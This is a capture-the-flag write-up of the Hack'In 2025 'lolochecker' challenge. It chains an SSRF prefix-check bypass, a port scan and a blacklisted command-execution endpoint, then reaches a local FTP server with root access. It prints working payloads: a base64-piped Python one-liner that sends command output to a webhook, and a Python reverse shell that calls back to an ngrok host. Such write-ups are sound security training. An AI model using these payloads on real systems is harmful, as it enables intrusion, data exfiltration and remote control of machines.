Writeup lolochecker - Hack'In 2025

Hack'In
Image description

Walkthrough

Once the container is deployed, browsing to the root URL shows that there is no index page:

Image description

Because we have the source code, the only interesting route we find is /api, with a single endpoint /check-machine:

const express = require("express");
const axios = require("axios");

const router = express.Router();

router.post("/check-machine", async (req, res) => {
    const { hostname } = req.body;

    if (!hostname || typeof hostname !== "string") {
        return res.status(400).json({ error: "Paramètre 'hostname' invalide." });
    }

    const safeHostname = hostname.replace(/[^a-zA-Z0-9.\-:@?=|\/ ]/g, "");


    if (safeHostname.length === 0) {
        return res.status(400).json({ error: "Nom d'hôte invalide après filtrage." });
    }

    // Vérifier que hostname commence bien par  
    if (!safeHostname.startsWith("http://lololekik.com")) {
        return res.status(400).json({ error: "Nom d'hôte invalide." });
    }

    try {
        // L'utilisateur choisit son propre scheme
        
        const response = await axios.get(safeHostname, { timeout: 5000 });
        // print response content


        // Vérification du statut HTTP
        res.json({ exists: response.status >= 200 && response.status < 400, content: response.data });
    } catch (error) {
        res.json({ exists: false, error: error.message });
    }
});

module.exports = router;

The endpoint enforces two conditions:

  1. The hostname must start with http://lololekik.com
  2. All characters outside the whitelist are stripped

Providing a simple URL in the hostname parameter returns content:

Image description

The challenge notice hints that another internal service is present. We therefore keep the required prefix and append @127.0.0.1:80:

Image description
That bypasses the filter, but nothing is listening on port 80, so we get an error:

Port scan with Burp Intruder

Sending the request to Intruder and fuzzing the 65535 ports reveals three interesting ones:

  • Port 21
  • Port 9876
  • Port 59876
PortObservation
21Parse Error: Expected HTTP/ → looks like FTP
9876404 for / but service exists
59876Web server with a directory listing

Port 59876 serves an Index of page:

Image description

We find three files:

  • requirements.txt
  • ftp.py
  • web.py

ftp.py contents:

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

# RUN AS ROOT

def start_ftp_server():
    authorizer = DummyAuthorizer()

    # Création d'un utilisateur avec un accès complet à toute la machine
    authorizer.add_user("admin", "password", "/", perm="elradfmw")  

    handler = FTPHandler
    handler.authorizer = authorizer

    # Lancer le serveur sur 0.0.0.0:21
    server = FTPServer(("127.0.0.1", 21), handler)
    
    print("Serveur FTP...")
    server.serve_forever()

if __name__ == "__main__":
    start_ftp_server()

This Python script sets up a local FTP server accessible as admin with full root permissions (elradfmw).

web.py contents:

from flask import Flask, request
import subprocess

app = Flask(__name__)

# RUN AS APPUSER


@app.route('/execute', methods=['GET'])
def execute_command():
    cmd = request.args.get('cmd')
    if not cmd:
        return {"error": "Aucune commande fournie"}, 400
    
    blacklist = ["rm", "shutdown", "reboot", "halt", "poweroff", "init", "kill", "pkill", "pgrep", ".", "top", "htop", "killall", "/", "&&", ";", ">", "<", "cat", "printf", "sed", "awk", "grep", "find", "ls", "cd", "pwd", "touch", "mkdir", "rmdir", "mv", "cp", "ln", "chmod", "chown", "chgrp", "useradd", "userdel", "groupadd", "groupdel", "passwd", "su", "sudo", "chsh", "chfn"]
    for blacklisted_cmd in blacklist:
        if blacklisted_cmd in cmd:
            return {"error": "Commande interdite"}, 403

    try:
        result = subprocess.run(cmd, shell=True, capture_output=False, text=True)
        return {
            "command": cmd,
            "return_code": result.returncode
        }
    except Exception as e:
        return {"error": str(e)}, 500

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=9876, debug=True)

This Flask script exposes an API on port 9876, providing an /execute endpoint allowing shell command execution with certain blacklisted commands.

Querying with an allowed command returns only the status code:

Image description

Because there is no output (only the return_code), we need an out-of-band channel. A typical trick is to send a base64-encoded payload and decode it on the target:

echo -n '<base64_payload>' | base64 -d | sh

Using Python in the payload lets us POST the command output to a Pipedream webhook. Below is the final Burp request that exfiltrates the output of id (Hackvertor inserts the <@base64> tags):

{
  "hostname": "http://lololekik.com@127.0.0.1:9876/execute?cmd=echo -n '<@base64>python3 -c 'import subprocess,urllib.request;result=subprocess.check_output(["id"]);urllib.request.urlopen("https://eowwblcn55n3j3s.m.pipedream.net", data=result)'</@base64>' | base64 -d | sh"
}
Image description

Getting a reverse shell

Start ngrok and nc, then craft the following payload (which you’ll encode in base64 before sending) to open a socket back to your ngrok listener:

python3 -c 'import socket, subprocess, os; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("7.tcp.eu.ngrok.io", 18483)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); import pty; pty.spawn("/bin/sh")'

The callback lands successfully, reverse shell obtained!

Image description

Looting the FTP server

Because the FTP service is running locally and we already know the credentials, a simple login with admin:password gives full read/write access to the system root:

Image description

At that point, retrieving the flag is trivial:

ftp> get flag.txt

appuser@f32fb868a34d:/tmp$ cat flag.txt
HNx04{...}

We got first blood on this chall ! 🩸

Thanks to lololekik for the challenge 🤝